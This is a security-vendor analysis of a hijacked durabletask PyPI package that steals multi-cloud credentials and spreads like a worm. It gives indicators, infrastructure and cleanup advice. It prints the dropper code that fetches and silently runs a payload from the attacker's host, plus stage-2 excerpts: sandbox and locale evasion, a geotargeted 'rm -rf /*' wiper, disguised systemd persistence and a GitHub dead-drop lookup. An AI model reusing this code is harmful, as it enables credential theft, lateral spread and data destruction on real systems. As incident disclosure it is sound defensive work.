Malicious durabletask on PyPI: Multi-Cloud Credential Stealer with Worm Capabilities
Table of Contents
TL;DR
Three versions of the durabletask PyPI package (1.4.1, 1.4.2, 1.4.3), Microsoft’s Durable Task SDK for Python, were published on May 19, 2026 using a compromised PyPI API token. The GitHub repository was not breached: no corresponding tags or commits exist, and no publishing workflow ran that day. The attacker built modified packages locally and uploaded them directly via twine, injecting identical dropper code into package source files. The dropper downloads a stage-2 Python zipapp (rope.pyz) from attacker infrastructure and executes it with all output suppressed. The stage-2 is a full credential harvesting framework with dedicated collectors for AWS Secrets Manager and SSM Parameter Store, Azure Key Vault, GCP Secret Manager, Kubernetes secrets (across all contexts), HashiCorp Vault, and local password managers (1Password, Bitwarden, pass, gopass). It also reads over 90 sensitive files from disk, exfiltrates everything encrypted with RSA-4096/AES-256-GCM to a C2 server, and propagates itself to other hosts via AWS SSM SendCommand and kubectl exec. The payload includes geopolitical targeting: it skips systems with a Russian locale and contains a destructive rm -rf /* routine targeting Israeli and Iranian systems.
Impact:
- Steals cloud credentials and secrets from AWS, Azure, GCP across all configured profiles and regions
- Dumps all Kubernetes secrets from every accessible context and namespace
- Reads HashiCorp Vault KV secrets across all mounts
- Attempts to unlock and dump 1Password, Bitwarden, pass, and gopass vaults
- Exfiltrates 90+ sensitive files including SSH keys, cloud configs, Docker credentials, VPN configs, MCP configs,
.envfiles, Terraform state, and shell history - Propagates to other EC2 instances via AWS SSM
SendCommandand to Kubernetes pods viakubectl exec - Deploys persistent systemd backdoor disguised as
pgsql-monitor.servicevia C2 delivered payload - Exfiltrates all collected data encrypted (AES-256-GCM + RSA-4096) to
hxxps://check[.]git-service[.]com(160.119.64.3, AS49870, Seychelles) - Falls back to exfiltrating stolen data via GitHub using harvested
ghp_/github_pat_tokens when C2 is unreachable - Resolves backup C2 URLs from cryptographically signed GitHub commits (FIRESCALE dead drop)
- Secondary C2 at
hxxps://t[.]m-kosche[.]com(185.95.159.32, AS209101, Bulgaria) used for propagation payload delivery - Contains a destructive
rm -rf /*wiper targeting Israeli and Iranian systems (1-in-6 chance on locale match)
Indicators of Compromise (IoC):
[email protected](SHA256 sdist:3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bf)[email protected](SHA256 sdist:85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086f)[email protected](SHA256 sdist:c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dc)- Stage-2 payload:
rope.pyz(SHA256:069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce) - C2 domain:
check[.]git-service[.]com(resolves to160.119.64.3, NS:dnsowl.com) - Secondary C2:
t[.]m-kosche[.]com - C2 endpoints:
/api/public/version(exfil),/v1/models(early quarantine/persistence),/rope.pyz(payload),/audio.mp3(destructive payload audio) - Persistence: systemd service
pgsql-monitor.service, binary at/usr/bin/pgmonitor.pyor~/.local/bin/pgmonitor.py - Propagation markers:
~/.cache/.sys-update-check,~/.cache/.sys-update-check-k8s - GitHub dead drop: commits containing
FIRESCALEkeyword with signed base64 URLs - GitHub exfil repos: randomly named with Slavic folklore words (e.g.,
BABA-YAGA-KOSCHEI-742)
Analysis
Package Overview
durabletask is Microsoft’s official Durable Task SDK for Python, used for building reliable orchestration workflows. The package has a long release history on PyPI dating back through 106 dev releases and multiple stable versions. The legitimate v1.4.0 was published on April 8, 2026. On May 19, three new versions appeared in rapid succession: v1.4.1 at 16:19 UTC, v1.4.2 at 16:49 UTC, and v1.4.3 at 16:54 UTC, all within 35 minutes. The pyproject.toml across all three versions is identical to v1.4.0 except for the version bump. No author or maintainer metadata is exposed through the PyPI JSON API.
The project metadata still points to the legitimate Microsoft GitHub repository (microsoft/durabletask-python). Anyone checking the package page sees Microsoft’s repo URL, giving the compromised versions unearned credibility.
Root Cause: Compromised PyPI API Token
The GitHub repository shows no signs of compromise. No tags v1.4.1, v1.4.2, or v1.4.3 exist. The most recent tag is v1.4.0, matching the last legitimate release. No GitHub Actions publishing workflow ran on May 19. The only workflow activity that day was scheduled bots (PR Verification Agent, Daily Code Review). The last code commit was on April 24, 2026, 25 days before the malicious packages appeared.
The attacker published directly to PyPI using a stolen API token, bypassing CI/CD entirely.
The repository’s publishing pipeline (durabletask.yml) uses twine upload with a long-lived PyPI API token stored in GitHub Secrets:
- name: Publish package to PyPI env: TWINE_USERNAME: __token__ TWINE_PASSWORD: ${{ secrets.PYPI_API_TOKEN }} run: | twine upload dist/*Three weaknesses made this token a high-value target:
1. No trusted publishers. The project uses legacy API token authentication instead of PyPI’s OIDC trusted publisher mechanism. Trusted publishers bind publishing to a specific GitHub repository, workflow, and environment. A stolen token cannot publish from outside that workflow. This project has no such binding: anyone holding the token can upload any version from any machine.
2. Shared token across three workflows. The same PYPI_API_TOKEN secret appears in durabletask.yml (releases), durabletask-dev.yml (dev builds), and durabletask-experiment.yml (experimental builds). A single compromised secret grants full publishing access.
3. Experiment workflow with no test gate. The durabletask-experiment.yml workflow runs on every push to any non-main branch. The test requirement (needs: run-tests) is commented out. While this workflow forces a 0.0.0.dev* version, it widens the surface area where the token is used.
No provenance or attestation exists on any durabletask release, legitimate or malicious. PyPI returns "No provenance available" for every version. Without cryptographic provenance, there is no way to verify that a published artifact was built from a specific commit in the Microsoft repository. The attacker could clone the legitimate source, inject malicious files, build locally with python -m build, and upload with twine upload using the stolen token. The result is indistinguishable from a legitimate release on the PyPI package page.
The exact token compromise vector remains unknown. Possible paths include exfiltration from a compromised GitHub account with Secrets access, exposure in CI logs, or theft from a maintainer’s local environment.
Payload Evolution: Accumulative Injection
The attacker iterated through three versions in 35 minutes, each adding more injection points while retaining all previous ones.
v1.4.1 replaced the copyright header in durabletask/__init__.py with the dropper:
# durabletask/__init__.py (v1.4.1)import osimport sysimport platformimport subprocessimport urllib.request
if platform.system() == "Linux": try: urllib.request.urlretrieve("https://check.git-service.com/rope.pyz", "/tmp/managed.pyz") with open(os.devnull, 'w') as f: subprocess.Popen(["python3", "/tmp/managed.pyz"], stdout=f, stderr=f, stdin=f, start_new_session=True) except: passv1.4.2 kept the __init__.py injection and added the same payload appended to durabletask/task.py.
v1.4.3 kept both previous injections and added three more in durabletask/entities/__init__.py, durabletask/extensions/__init__.py, and durabletask/payload/__init__.py.
By v1.4.3, the dropper exists in five files. Any import path through the package triggers the download. The start_new_session=True flag detaches the stage-2 process so it survives even if the parent Python process exits. Stdout, stderr, and stdin are all redirected to /dev/null for silent execution.
Stage-2: rope.pyz
The stage-2 payload is a 28 KB Python zipapp served as application/zip from the C2. It contains a modular credential harvesting framework with this structure:
__main__.py # Entry point: anti-analysis, installs cryptography, launches entrypointconfig.py # C2 URLs, RSA public key, timeoutsentrypoint.py # Orchestrator: collect, encrypt, exfiltrate, fallback chainsaggregate.py # Parallel collector runnerroulette.py # Persistence deployer + destructive geotargeted wipercollectors/ aws.py # AWS Secrets Manager, SSM Parameters, IMDS credentials azure.py # Azure Key Vault, IMDS, CLI cache, cert-based auth gcp.py # GCP Secret Manager, service account keys, ADC kubernetes.py # K8s secrets (all namespaces), kubeconfig parsing, pod propagation vault.py # HashiCorp Vault KV v1/v2 across all mounts passwords.py # 1Password, Bitwarden, pass, gopass (with brute-force unlock) filesystem.py # 90+ sensitive files, SSH keys, env vars, Docker, VPN, Terraform state propagate.py # AWS SSM SendCommand lateral movementutilities/ crypto.py # RSA-OAEP, AES-256-GCM, RSA signature verification aws_signer.py # AWS SigV4 request signing (no SDK dependency)Anti-Analysis and Geopolitical Targeting
The __main__.py entry point runs several checks before executing the payload:
if sys.platform not in ('linux'): sys.exit(1)
lang = os.environ.get('LANG', '').split('.')[0]if lang.lower().startswith('ru'): sys.exit(1)
cpu_count = os.cpu_count()if cpu_count is None or cpu_count <= 2: sys.exit(1)The payload only runs on Linux, exits on systems with a Russian locale (LANG=ru_*), and requires more than 2 CPUs (filtering out lightweight sandbox VMs). It then installs the cryptography Python package if missing (with --break-system-packages for system Python installs) and launches the entrypoint module.
The Roulette Module: Destruction and Persistence
roulette.py contains the destructive capability. It receives a base64 encoded Python script from the C2’s “early quarantine” endpoint and either deploys persistence or runs a wiper:
def _is_israeli_system(): _TZ_MARKERS = ("Jerusalem", "Tel_Aviv", "Tehran") _LOCALE_MARKERS = ("he_IL", "fa_IR") # Checks TZ env var, /etc/timezone, /etc/localtime, LANG, LC_ALL, LC_MESSAGES ...
def collect(python_b64): roll = random.randint(1, 6) if _is_israeli_system() and roll == 2: play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3") subprocess.run(["rm", "-rf", "/*"]) return try: deploy_local(python_b64) except Exception: passOn Israeli or Iranian systems (detected via timezone markers for Jerusalem, Tel Aviv, Tehran, or locales he_IL, fa_IR), with a 1-in-6 random chance, the payload downloads an audio file (audio.mp3), sets system volume to 100% via pactl, plays it through mpv, and executes rm -rf /*. A wiper paired with psychological intimidation. The remaining 5-in-6 outcomes (and all non-targeted systems) get persistence instead.
The persistence mechanism deploys a systemd service disguised as a PostgreSQL monitor:
bin_path = os.path.join(bin_dir, "pgmonitor.py") # /usr/bin/ or ~/.local/bin/svc_path = os.path.join(svc_dir, "pgsql-monitor.service") # system or user systemd
unit = f"""[Unit]Description=PostgreSQL MonitorAfter=network.target
[Service]ExecStart={sys.executable} {bin_path}Restart=always
[Install]WantedBy={wanted_by}"""Credential Collection: Breadth and Depth
All collectors run in parallel via concurrent.futures.ThreadPoolExecutor.
AWS (collectors/aws.py): Resolves credentials from environment variables, ~/.aws/credentials (all profiles), and EC2 IMDS. For each credential set, it enumerates all AWS Secrets Manager secrets (with GetSecretValue) and all SSM Parameter Store parameters (with WithDecryption: True) across 19 regions using parallel workers. It also discovers SSM-managed instances for lateral movement. The module implements its own AWS SigV4 signing (utilities/aws_signer.py) to avoid SDK dependencies.
Azure (collectors/azure.py): Resolves tokens via client credentials flow, certificate-based authentication, Azure CLI token cache (~/.azure/accessTokens.json), and Azure IMDS. Enumerates all subscriptions, lists Key Vaults per subscription, and dumps every secret from each vault.
GCP (collectors/gcp.py): Resolves credentials from service account JSON files (GOOGLE_APPLICATION_CREDENTIALS), application default credentials (~/.config/gcloud/application_default_credentials.json), and GCE metadata server. Lists all secrets in the resolved project via Secret Manager API and retrieves each secret’s latest version.
Kubernetes (collectors/kubernetes.py): Parses kubeconfig (with a custom YAML parser, no PyYAML dependency), iterates every context, and dumps secrets from all namespaces. Supports in-cluster service account tokens, client certificate auth, and bearer tokens. If kubectl is not present, the collector downloads it from dl.k8s.io. After collecting secrets, it propagates the payload to up to 5 other running pods via kubectl exec.
HashiCorp Vault (collectors/vault.py): Resolves tokens from VAULT_TOKEN, ~/.vault-token, AppRole login (VAULT_ROLE_ID/VAULT_SECRET_ID), and the Vault CLI. Lists all KV mounts, detects KV v1 vs v2, and walks every path to read all secrets.
Password Managers (collectors/passwords.py): Attempts to unlock 1Password, Bitwarden, pass, and gopass by brute-forcing passwords harvested from environment variables matching *PASS*, *SECRET*, *KEY*, BW_*, OP_*, *_MASTER* patterns, and from shell history (.bash_history, .zsh_history). On success, it dumps every item from every vault.
Filesystem (collectors/filesystem.py): Reads 90+ files including SSH keys, cloud credentials, Docker configs, npm/PyPI/Cargo/Gem tokens, kubeconfig, Terraform state files, VPN configurations (Tailscale state, WireGuard configs), MCP server configs (Claude Desktop, Cursor, VS Code, Zed, Codeium, Continue), and all .env files found under the home directory. Also extracts environment variables from all Docker containers via the Docker socket or CLI, and collects GitHub tokens via gh auth token.
C2 Infrastructure
The attacker operates two domains, both registered through the same nameserver provider (dnsowl.com) and provisioned with Let’s Encrypt certificates issued three days before the malicious packages were published (May 16, 2026).
| Domain | IP | ASN | Reverse DNS | Cert Issued |
|---|---|---|---|---|
check[.]git-service[.]com | 160.119.64.3 | AS49870 / AS7489 (SC, AFRINIC) | hosted-by.europededicated.com | May 16, 2026 |
t[.]m-kosche[.]com | 185.95.159.32 | AS209101 (BG, RIPE) | (none) | May 16, 2026 |
The primary C2 at check[.]git-service[.]com exposes four endpoints:
/rope.pyzserves the stage-2 payload (28,703 bytes,application/zip)/v1/modelsis the “early quarantine” endpoint. When reachable and returning HTTP 200, the response body feeds intoroulette.collect()as a base64 encoded Python payload for persistence deployment (or, for geotargeted systems, the destructive wiper). At time of analysis, this endpoint redirects to YouTube. The attacker may have disabled this capability after initial deployment/api/public/versionaccepts POST requests with the encrypted exfiltration bundle. Returns 400 on GET, confirming it expects the specific JSON structure produced by_build_package()/audio.mp3serves the audio file played at full volume before the destructive wiper executes on targeted systems. Also redirecting to YouTube at time of analysis
Both domains redirect all non-payload paths (including the root /) to hxxps://www[.]youtube[.]com/watch?v=1hIT0dCwzGo, a misdirection for casual visitors or analysts probing the server. The attacker chose git-service.com to blend with legitimate developer infrastructure in network logs.
The “Kosche” in the secondary domain m-kosche[.]com is a reference to Koschei the Deathless from Slavic folklore, consistent with the folklore naming theme used in the GitHub exfiltration repo names (BABA-YAGA, KOSCHEI, FIREBIRD, VASSILISA, etc.).
C2 Communication Protocol
The entrypoint module orchestrates a three-tier exfiltration strategy with cascading fallbacks:
Step 1: Early quarantine check. Before collecting any credentials, the payload contacts /v1/models with a 5-second timeout. If reachable and returning HTTP 200, the response is fed to roulette.collect() for persistence/destruction. If the server returns an HTTP error (4xx/5xx), the payload continues without fallback. Only if the connection itself fails (timeout, DNS failure, network unreachable) does it trigger the GitHub dead drop resolver.
Step 2: Credential collection and primary exfil. All collectors run in parallel via ThreadPoolExecutor. The aggregated results are compressed with gzip, encrypted with a random AES-256-GCM key (256-bit key, 96-bit IV), and the AES key is wrapped with the attacker’s 4096-bit RSA public key using OAEP-SHA256. The resulting JSON envelope:
{ "envelope": "<base64(IV + ciphertext + GCM_tag)>", "key": "<base64(RSA_encrypted_AES_key)>"}The payload POSTs this to the primary C2 at hxxps://check[.]git-service[.]com/api/public/version.
Step 3: GitHub dead drop fallback. If the primary C2 is unreachable, the payload searches GitHub’s public commit search API for commits containing the keyword FIRESCALE. The commit message format is FIRESCALE <base64_url>.<base64_signature>. The URL is decoded and the signature is verified against the same RSA public key embedded in config.py. This prevents third parties from poisoning the dead drop with fake C2 URLs. Only cryptographically signed URLs are trusted, making the resolution mechanism tamper-resistant.
_FIRESCALE_RE = re.compile(r'FIRESCALE\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)')
# Search GitHub commits, verify signature, extract URLreq = urllib.request.Request( "https://api.github.com/search/commits?q=FIRESCALE&sort=committer-date&order=desc&per_page=30", headers={"Accept": "application/vnd.github.cloak-preview+json", "User-Agent": "git/2.39.0"})Step 4: GitHub token exfiltration. If both C2 and dead drop fail, the payload searches the collected credential data for GitHub personal access tokens matching ghp_[a-zA-Z0-9]{36} or github_pat_[a-zA-Z0-9]{22}_[a-zA-Z0-9]{59}. For each token found, it creates a new public repository named with random Slavic folklore words (e.g., BABA-YAGA-KOSCHEI-742, description: “PUSH UR T3MPRR”) and uploads the encrypted data bundle as results.json. The attacker can later search GitHub for repositories matching these distinctive naming patterns to retrieve the exfiltrated data.
Lateral Movement: SSM and Kubernetes
The propagation module (collectors/propagate.py) uses AWS SSM SendCommand with AWS-RunShellScript to execute a dropper script on up to 5 discovered EC2 instances. The script checks for a propagation marker, downloads rope.pyz (with fallback to the secondary URL hxxps://t[.]m-kosche[.]com/rope.pyz), executes it, and deletes itself. The Kubernetes propagation in collectors/kubernetes.py does the same via kubectl exec across discovered running pods.
Both propagation paths use marker files (~/.cache/.sys-update-check, ~/.cache/.sys-update-check-k8s) to avoid re-infecting the same host.
Conclusion
A multi-cloud credential harvesting operation with worm capabilities, built on a hijacked Microsoft SDK. The attacker iterated through three versions to maximize injection surface and deployed a stage-2 that targets every major secret store a cloud-native development environment might touch. The triple redundant exfiltration (C2 server, GitHub dead drop, GitHub token upload), the SSM and Kubernetes lateral movement, and the geopolitical targeting (Russian locale exclusion, Israeli/Iranian wiper) point to a resourced and motivated threat actor.
If you installed durabletask 1.4.1, 1.4.2, or 1.4.3, assume full credential compromise. Rotate all cloud credentials, Vault tokens, Kubernetes service account tokens, SSH keys, and password manager master passwords. Audit AWS CloudTrail, Azure Activity Log, and GCP Audit Log for unauthorized GetSecretValue, GetParameter, or Secret Manager access. Check for pgsql-monitor.service in systemd and the propagation markers on any system that ran the payload.
SafeDep’s open source tool vet can detect malicious packages like this before they enter your dependency tree. For runtime protection against malicious package installs, pmg intercepts package manager commands and blocks known threats at install time.
References
- pypi
- oss
- malware
- supply-chain
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Mini Shai-Hulud Strikes Again: 317 npm Packages Compromised
A compromised npm maintainer account published 637 malicious versions across 317 packages including size-sensor, echarts-for-react, timeago.js, and hundreds of @antv scoped packages, affecting 15M+...

Malicious npm Packages Backdoor Claude Code Sessions
Five typosquatting npm packages ship a hidden ELF binary that fires on install and re-runs via Claude Code's SessionStart hook on every developer session. C2 is 207.90.194.2:443.

Compromised node-ipc on npm: Credential Stealer via DNS Exfiltration
Analysis of compromised node-ipc versions 9.1.6, 9.2.3, and 12.0.1 on npm: a maintainer account takeover injects an 80KB obfuscated credential stealer that targets 100+ sensitive files (SSH keys,...

Cache Poisoning Through pull_request_target: The TanStack Incident
A GitHub user opened a PR against TanStack Router from a fork, poisoned the shared pnpm cache through a pull_request_target workflow, then force-pushed the branch clean. When the release pipeline...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
